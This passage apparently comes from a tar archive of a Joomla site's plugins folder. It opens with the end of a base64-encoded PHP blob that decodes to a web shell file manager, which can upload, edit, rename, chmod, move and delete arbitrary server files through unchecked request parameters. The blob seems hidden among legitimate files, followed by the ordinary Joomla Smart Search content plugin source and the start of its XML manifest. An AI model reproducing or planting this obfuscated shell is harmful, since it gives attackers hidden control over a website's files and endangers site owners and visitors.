CAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJuZXdfZmlsZSI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld19maWxlbmFtZSIgcGxhY2Vob2xkZXI9InNjcmlwdC5waHAiIHN0eWxlPSJ3aWR0aDogMTAwJTsgbWFyZ2luLWJvdHRvbTogMTJweDsiIHJlcXVpcmVkPg0KICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJuZXdfZmlsZWNvbnRlbnQiIHBsYWNlaG9sZGVyPSJTb3VyY2UgY29kZSBjb250ZW50Li4uIiBzdHlsZT0ibWFyZ2luLWJvdHRvbTogMTJweDsiPjwvdGV4dGFyZWE+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4tZ2xvc3N5IiBzdHlsZT0id2lkdGg6IDEwMCU7Ij5DcmVhdGUgRmlsZTwvYnV0dG9uPg0KICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICA8L2Rpdj4NCg0KICAgICAgICA8ZGl2IGNsYXNzPSJjcmVhdGlvbi1ib3giPg0KICAgICAgICAgICAgPGg1IHN0eWxlPSJjb2xvcjogdmFyKC0tYWNjZW50KTsgbWFyZ2luLWJvdHRvbTogMTJweDsiPvCfk6QgVXBsb2FkIEZpbGU8L2g1Pg0KICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBzdHlsZT0iaGVpZ2h0OiAxMDAlOyBkaXNwbGF5OiBmbGV4OyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47Ij4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJ1cGxvYWQiPg0KICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9Im1hcmdpbi1ib3R0b206IDEycHg7Ij4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZF9maWxlIiByZXF1aXJlZD4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0bi1nbG9zc3kiIHN0eWxlPSJ3aWR0aDogMTAwJTsgbWFyZ2luLXRvcDogYXV0bzsiPlVwbG9hZCBGaWxlPC9idXR0b24+DQogICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgIDwvZGl2Pg0KDQogICAgICAgIDxkaXYgY2xhc3M9ImNyZWF0aW9uLWJveCI+DQogICAgICAgICAgICA8aDUgc3R5bGU9ImNvbG9yOiB2YXIoLS1hY2NlbnQpOyBtYXJnaW4tYm90dG9tOiAxMnB4OyI+8J+TgSBDcmVhdGUgTmV3IEZvbGRlcjwvaDU+DQogICAgICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiIHN0eWxlPSJoZWlnaHQ6IDEwMCU7IGRpc3BsYXk6IGZsZXg7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsiPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9Im5ld19mb2xkZXIiPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdfZm9sZGVybmFtZSIgcGxhY2Vob2xkZXI9ImFzc2V0cyIgc3R5bGU9IndpZHRoOiAxMDAlOyBtYXJnaW4tYm90dG9tOiAxMnB4OyIgcmVxdWlyZWQ+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4tZ2xvc3N5IiBzdHlsZT0id2lkdGg6IDEwMCU7IG1hcmdpbi10b3A6IGF1dG87Ij5DcmVhdGUgRm9sZGVyPC9idXR0b24+DQogICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIA0KICAgIDw/cGhwDQogICAgaWYgKGlzc2V0KCRfR0VUWydpdGVtJ10pICYmIGlzc2V0KCRfR0VUWydhY3QnXSkpIHsNCiAgICAgICAgJGl0ZW0gPSAkX0dFVFsnaXRlbSddOyAkYWN0ID0gJF9HRVRbJ2FjdCddOw0KICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGl0ZW0pKSB7DQogICAgICAgICAgICBlY2hvICI8ZGl2IGNsYXNzPSdzdWItcGFuZWwnPiI7DQogICAgICAgICAgICBlY2hvICI8aDUgc3R5bGU9J21hcmdpbi1ib3R0b206MTJweDsgY29sb3I6dmFyKC0tYWNjZW50KTsnPlRhcmdldDogIiAuIGh0bWxzcGVjaWFsY2hhcnMoYmFzZW5hbWUoJGl0ZW0pKSAuICIgKCIgLiBzdHJ0b3VwcGVyKCRhY3QpIC4gIik8L2g1PiI7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGlmICgkYWN0ID09PSAnZWRpdCcgJiYgaXNfZmlsZSgkaXRlbSkpIHsNCiAgICAgICAgICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRpdGVtKTsNCiAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWN0aW9uJyB2YWx1ZT0nc2F2ZSc+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YXJnZXQnIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pLiInPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9J2NvbnRlbnQnIHN0eWxlPSdoZWlnaHQ6MjYwcHg7Jz4iLmh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpLiI8L3RleHRhcmVhPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0bi1nbG9zc3knPlNhdmUgQ2hhbmdlczwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4iOw0KICAgICAgICAgICAgfSBlbHNlaWYgKCRhY3QgPT09ICdyZW5hbWUnKSB7DQogICAgICAgICAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPSdQT1NUJz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2FjdGlvbicgdmFsdWU9J3JlbmFtZSc+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YXJnZXQnIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pLiInPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J25ld19uYW1lJyBzdHlsZT0nd2lkdGg6MzAwcHg7JyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKGJhc2VuYW1lKCRpdGVtKSkuIic+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0bi1nbG9zc3knPlJlbmFtZTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4iOw0KICAgICAgICAgICAgfSBlbHNlaWYgKCRhY3QgPT09ICdjaG1vZCcpIHsNCiAgICAgICAgICAgICAgICAkY3VycmVudF9wZXJtcyA9IHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkaXRlbSkpLCAtNCk7DQogICAgICAgICAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPSdQT1NUJz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2FjdGlvbicgdmFsdWU9J2NobW9kJz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3RhcmdldCcgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkaXRlbSkuIic+DQogICAgICAgICAgICAgICAgICAgICAgICBNYXNrOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY2htb2RfdmFsJyB2YWx1ZT0nJGN1cnJlbnRfcGVybXMnIHNpemU9JzUnPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4tZ2xvc3N5Jz5DaGFuZ2U8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+IjsNCiAgICAgICAgICAgIH0gZWxzZWlmICgkYWN0ID09PSAnbW92ZScpIHsNCiAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWN0aW9uJyB2YWx1ZT0nbW92ZSc+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YXJnZXQnIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pLiInPg0KICAgICAgICAgICAgICAgICAgICAgICAgRGVzdCBQYXRoOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZGVzdGluYXRpb24nIHN0eWxlPSd3aWR0aDo1MCU7JyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKGRpcm5hbWUoJGl0ZW0pKS4iJz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0nc3VibWl0JyBjbGFzcz0nYnRuLWdsb3NzeSc+TW92ZTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAiPC9kaXY+IjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICA/Pg0KICAgIA0KICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImJ1bGtfZGVsZXRlIj4NCiAgICAgICAgPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTogMTJweDsgZGlzcGxheTogZmxleDsganVzdGlmeS1jb250ZW50OiBmbGV4LWVuZDsiPg0KICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4tZ2xvc3N5IGJ0bi1kYW5nZXItZ2xvc3N5IiBvbmNsaWNrPSJyZXR1cm4gY29uZmlybSgnRGVsZXRlIGFsbCBzZWxlY3RlZCBpdGVtcz8nKTsiPvCfl5HvuI8gRGVsZXRlIFNlbGVjdGVkPC9idXR0b24+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IHN0eWxlPSJvdmVyZmxvdy14OiBhdXRvOyI+DQogICAgICAgICAgICA8dGFibGU+DQogICAgICAgICAgICAgICAgPHRoZWFkPg0KICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGggc3R5bGU9IndpZHRoOiAzJTsgdGV4dC1hbGlnbjogY2VudGVyOyI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBvbkNsaWNrPSJ0b2dnbGVTZWxlY3RBbGwodGhpcykiPjwvdGg+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGg+SXRlbSBOYW1lPC90aD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5TaXplPC90aD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5QZXJtcyAmIFN0YXR1czwvdGg+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGg+QWN0aW9uczwvdGg+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgPC90aGVhZD4NCiAgICAgICAgICAgICAgICA8dGJvZHk+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICRmaWxlcyA9IHNjYW5kaXIoJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRmaWxlcyA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0cj48dGQgY29sc3Bhbj0nNScgc3R5bGU9J2NvbG9yOnZhcigtLWRhbmdlcik7Jz5EaXJlY3RvcnkgYWNjZXNzIHJlc3RyaWN0ZWQuPC90ZD48L3RyPiI7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGUgPT09ICIuIiB8fCAkZmlsZSA9PT0gIi4uIikgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bGxfcGF0aCA9ICRjdXJyZW50X2RpciAuICRmaWxlOyAkaXNfZGlyID0gaXNfZGlyKCRmdWxsX3BhdGgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzaXplID0gJGlzX2RpciA/ICJESVIiIDogbnVtYmVyX2Zvcm1hdChmaWxlc2l6ZSgkZnVsbF9wYXRoKSkgLiAiIEIiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwZXJtcyA9IHN1YnN0cihzcHJpbnRmKCclbycsIEBmaWxlcGVybXMoJGZ1bGxfcGF0aCkpLCAtNCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlzX3IgPSBpc19yZWFkYWJsZSgkZnVsbF9wYXRoKTsgJGlzX3cgPSBpc193cml0YWJsZSgkZnVsbF9wYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGlzX3IgJiYgJGlzX3cpIHsgJHN0YXR1c19iYWRnZSA9ICI8c3BhbiBjbGFzcz0nYmFkZ2UgYmFkZ2UtcncnPlJXPC9zcGFuPiI7IH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmICgkaXNfcikgeyAkc3RhdHVzX2JhZGdlID0gIjxzcGFuIGNsYXNzPSdiYWRnZSBiYWRnZS1yJz5SPC9zcGFuPiI7IH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmICgkaXNfdykgeyAkc3RhdHVzX2JhZGdlID0gIjxzcGFuIGNsYXNzPSdiYWRnZSBiYWRnZS13Jz5XPC9zcGFuPiI7IH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7ICRzdGF0dXNfYmFkZ2UgPSAiPHNwYW4gY2xhc3M9J2JhZGdlIGJhZGdlLWxvY2tlZCc+TG9ja2VkPC9zcGFuPiI7IH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGQgc3R5bGU9J3RleHQtYWxpZ246IGNlbnRlcjsnPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nZmlsZXNbXScgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkZnVsbF9wYXRoKS4iJz48L3RkPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpc19kaXIpIHsgZWNobyAiPHRkPjxhIGNsYXNzPSdmb2xkZXItbGluaycgaHJlZj0nP2Rpcj0iLnVybGVuY29kZSgkZnVsbF9wYXRoKS4iJz7wn5OBICRmaWxlLzwvYT48L3RkPiI7IH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7IGVjaG8gIjx0ZD48c3BhbiBjbGFzcz0nZmlsZS1saW5rJz7wn5OEICRmaWxlPC9zcGFuPjwvdGQ+IjsgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0ZD4kc2l6ZTwvdGQ+IjsgZWNobyAiPHRkPiIgLiAkcGVybXMgLiAiICIgLiAkc3RhdHVzX2JhZGdlIC4gIjwvdGQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGQgY2xhc3M9J2FjdGlvbnMnPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkaXNfZGlyKSB7IGVjaG8gIjxhIGhyZWY9Jz9kaXI9Ii51cmxlbmNvZGUoJGN1cnJlbnRfZGlyKS4iJml0ZW09Ii51cmxlbmNvZGUoJGZ1bGxfcGF0aCkuIiZhY3Q9ZWRpdCc+RWRpdDwvYT4iOyB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGEgaHJlZj0nP2Rpcj0iLnVybGVuY29kZSgkY3VycmVudF9kaXIpLiImaXRlbT0iLnVybGVuY29kZSgkZnVsbF9wYXRoKS4iJmFjdD1yZW5hbWUnPlJlbmFtZTwvYT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9kaXI9Ii51cmxlbmNvZGUoJGN1cnJlbnRfZGlyKS4iJml0ZW09Ii51cmxlbmNvZGUoJGZ1bGxfcGF0aCkuIiZhY3Q9Y2htb2QnPkNobW9kPC9hPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGEgaHJlZj0nP2Rpcj0iLnVybGVuY29kZSgkY3VycmVudF9kaXIpLiImaXRlbT0iLnVybGVuY29kZSgkZnVsbF9wYXRoKS4iJmFjdD1tb3ZlJz5Nb3ZlPC9hPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJ1dHRvbiB0eXBlPSdzdWJtaXQnIG5hbWU9J3RhcmdldCcgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkZnVsbF9wYXRoKS4iJyBjbGFzcz0nZGVsLWJ0bicgZm9ybWFjdGlvbj0nP2Rpcj0iLnVybGVuY29kZSgkY3VycmVudF9kaXIpLiInIG9uY2xpY2s9XCJ0aGlzLmZvcm0uYWN0aW9uLnZhbHVlPSdkZWxldGVfc2luZ2xlJzsgcmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSB0aGlzIGl0ZW0/Jyk7XCI+RGVsZXRlPC9idXR0b24+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RkPiI7IGVjaG8gIjwvdHI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgIDwvdGJvZHk+DQogICAgICAgICAgICA8L3RhYmxlPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Zvcm0+DQo8L2Rpdj4NCjwvYm9keT4NCjwvaHRtbD4=')); ?>
                                                                                                         finder/index.html                                                                                   0000705                 00000000037 15242051520 0010002 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 finder/content/index.html                                                                           0000705                 00000000036 15242051520 0011453 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  finder/content/content.php                                                                          0000705                 00000025400 15242051520 0011643 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Finder.Content
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JLoader::register('FinderIndexerAdapter', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/adapter.php');

/**
 * Smart Search adapter for com_content.
 *
 * @since  2.5
 */
class PlgFinderContent extends FinderIndexerAdapter
{
	/**
	 * The plugin identifier.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $context = 'Content';

	/**
	 * The extension name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $extension = 'com_content';

	/**
	 * The sublayout to use when rendering the results.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $layout = 'article';

	/**
	 * The type of content that the adapter indexes.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $type_title = 'Article';

	/**
	 * The table name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $table = '#__content';

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Method to update the item link information when the item category is
	 * changed. This is fired when the item category is published or unpublished
	 * from the list view.
	 *
	 * @param   string   $extension  The extension whose category has been updated.
	 * @param   array    $pks        A list of primary key ids of the content that has changed state.
	 * @param   integer  $value      The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onFinderCategoryChangeState($extension, $pks, $value)
	{
		// Make sure we're handling com_content categories.
		if ($extension === 'com_content')
		{
			$this->categoryStateChange($pks, $value);
		}
	}

	/**
	 * Method to remove the link information for items that have been deleted.
	 *
	 * @param   string  $context  The context of the action being performed.
	 * @param   JTable  $table    A JTable object containing the record to be deleted
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderAfterDelete($context, $table)
	{
		if ($context === 'com_content.article')
		{
			$id = $table->id;
		}
		elseif ($context === 'com_finder.index')
		{
			$id = $table->link_id;
		}
		else
		{
			return true;
		}

		// Remove item from the index.
		return $this->remove($id);
	}

	/**
	 * Smart Search after save content method.
	 * Reindexes the link information for an article that has been saved.
	 * It also makes adjustments if the access level of an item or the
	 * category to which it belongs has changed.
	 *
	 * @param   string   $context  The context of the content passed to the plugin.
	 * @param   JTable   $row      A JTable object.
	 * @param   boolean  $isNew    True if the content has just been created.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderAfterSave($context, $row, $isNew)
	{
		// We only want to handle articles here.
		if ($context === 'com_content.article' || $context === 'com_content.form')
		{
			// Check if the access levels are different.
			if (!$isNew && $this->old_access != $row->access)
			{
				// Process the change.
				$this->itemAccessChange($row);
			}

			// Reindex the item.
			$this->reindex($row->id);
		}

		// Check for access changes in the category.
		if ($context === 'com_categories.category')
		{
			// Check if the access levels are different.
			if (!$isNew && $this->old_cataccess != $row->access)
			{
				$this->categoryAccessChange($row);
			}
		}

		return true;
	}

	/**
	 * Smart Search before content save method.
	 * This event is fired before the data is actually saved.
	 *
	 * @param   string   $context  The context of the content passed to the plugin.
	 * @param   JTable   $row      A JTable object.
	 * @param   boolean  $isNew    If the content is just about to be created.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderBeforeSave($context, $row, $isNew)
	{
		// We only want to handle articles here.
		if ($context === 'com_content.article' || $context === 'com_content.form')
		{
			// Query the database for the old access level if the item isn't new.
			if (!$isNew)
			{
				$this->checkItemAccess($row);
			}
		}

		// Check for access levels from the category.
		if ($context === 'com_categories.category')
		{
			// Query the database for the old access level if the item isn't new.
			if (!$isNew)
			{
				$this->checkCategoryAccess($row);
			}
		}

		return true;
	}

	/**
	 * Method to update the link information for items that have been changed
	 * from outside the edit screen. This is fired when the item is published,
	 * unpublished, archived, or unarchived from the list view.
	 *
	 * @param   string   $context  The context for the content passed to the plugin.
	 * @param   array    $pks      An array of primary key ids of the content that has changed state.
	 * @param   integer  $value    The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onFinderChangeState($context, $pks, $value)
	{
		// We only want to handle articles here.
		if ($context === 'com_content.article' || $context === 'com_content.form')
		{
			$this->itemStateChange($pks, $value);
		}

		// Handle when the plugin is disabled.
		if ($context === 'com_plugins.plugin' && $value === 0)
		{
			$this->pluginDisable($pks);
		}
	}

	/**
	 * Method to index an item. The item must be a FinderIndexerResult object.
	 *
	 * @param   FinderIndexerResult  $item    The item to index as a FinderIndexerResult object.
	 * @param   string               $format  The item format.  Not used.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function index(FinderIndexerResult $item, $format = 'html')
	{
		$item->setLanguage();

		// Check if the extension is enabled.
		if (JComponentHelper::isEnabled($this->extension) === false)
		{
			return;
		}

		$item->context = 'com_content.article';

		// Initialise the item parameters.
		$registry = new Registry($item->params);
		$item->params = clone JComponentHelper::getParams('com_content', true);
		$item->params->merge($registry);

		$item->metadata = new Registry($item->metadata);

		// Trigger the onContentPrepare event.
		$item->summary = FinderIndexerHelper::prepareContent($item->summary, $item->params, $item);
		$item->body    = FinderIndexerHelper::prepareContent($item->body, $item->params, $item);

		// Build the necessary route and path information.
		$item->url = $this->getUrl($item->id, $this->extension, $this->layout);
		$item->route = ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language);
		$item->path = FinderIndexerHelper::getContentPath($item->route);

		// Get the menu title if it exists.
		$title = $this->getItemMenuTitle($item->url);

		// Adjust the title if necessary.
		if (!empty($title) && $this->params->get('use_menu_title', true))
		{
			$item->title = $title;
		}

		// Add the meta author.
		$item->metaauthor = $item->metadata->get('author');

		// Add the metadata processing instructions.
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metakey');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metadesc');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metaauthor');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'author');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'created_by_alias');

		// Translate the state. Articles should only be published if the category is published.
		$item->state = $this->translateState($item->state, $item->cat_state);

		// Add the type taxonomy data.
		$item->addTaxonomy('Type', 'Article');

		// Add the author taxonomy data.
		if (!empty($item->author) || !empty($item->created_by_alias))
		{
			$item->addTaxonomy('Author', !empty($item->created_by_alias) ? $item->created_by_alias : $item->author);
		}

		// Add the category taxonomy data.
		$item->addTaxonomy('Category', $item->category, $item->cat_state, $item->cat_access);

		// Add the language taxonomy data.
		$item->addTaxonomy('Language', $item->language);

		// Get content extras.
		FinderIndexerHelper::getContentExtras($item);

		// Index the item.
		$this->indexer->index($item);
	}

	/**
	 * Method to setup the indexer to be run.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	protected function setup()
	{
		// Load dependent classes.
		JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

		return true;
	}

	/**
	 * Method to get the SQL query used to retrieve the list of content items.
	 *
	 * @param   mixed  $query  A JDatabaseQuery object or null.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   2.5
	 */
	protected function getListQuery($query = null)
	{
		$db = JFactory::getDbo();

		// Check if we can use the supplied SQL query.
		$query = $query instanceof JDatabaseQuery ? $query : $db->getQuery(true)
			->select('a.id, a.title, a.alias, a.introtext AS summary, a.fulltext AS body')
			->select('a.images')
			->select('a.state, a.catid, a.created AS start_date, a.created_by')
			->select('a.created_by_alias, a.modified, a.modified_by, a.attribs AS params')
			->select('a.metakey, a.metadesc, a.metadata, a.language, a.access, a.version, a.ordering')
			->select('a.publish_up AS publish_start_date, a.publish_down AS publish_end_date')
			->select('c.title AS category, c.published AS cat_state, c.access AS cat_access');

		// Handle the alias CASE WHEN portion of the query
		$case_when_item_alias = ' CASE WHEN ';
		$case_when_item_alias .= $query->charLength('a.alias', '!=', '0');
		$case_when_item_alias .= ' THEN ';
		$a_id = $query->castAsChar('a.id');
		$case_when_item_alias .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when_item_alias .= ' ELSE ';
		$case_when_item_alias .= $a_id . ' END as slug';
		$query->select($case_when_item_alias);

		$case_when_category_alias = ' CASE WHEN ';
		$case_when_category_alias .= $query->charLength('c.alias', '!=', '0');
		$case_when_category_alias .= ' THEN ';
		$c_id = $query->castAsChar('c.id');
		$case_when_category_alias .= $query->concatenate(array($c_id, 'c.alias'), ':');
		$case_when_category_alias .= ' ELSE ';
		$case_when_category_alias .= $c_id . ' END as catslug';
		$query->select($case_when_category_alias)

			->select('u.name AS author')
			->from('#__content AS a')
			->join('LEFT', '#__categories AS c ON c.id = a.catid')
			->join('LEFT', '#__users AS u ON u.id = a.created_by');

		return $query;
	}
}
                                                                                                                                                                                                                                                                finder/content/content.xml                                                                          0000705                 00000001450 15242051520 0011653 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="finder" method="upgrade">
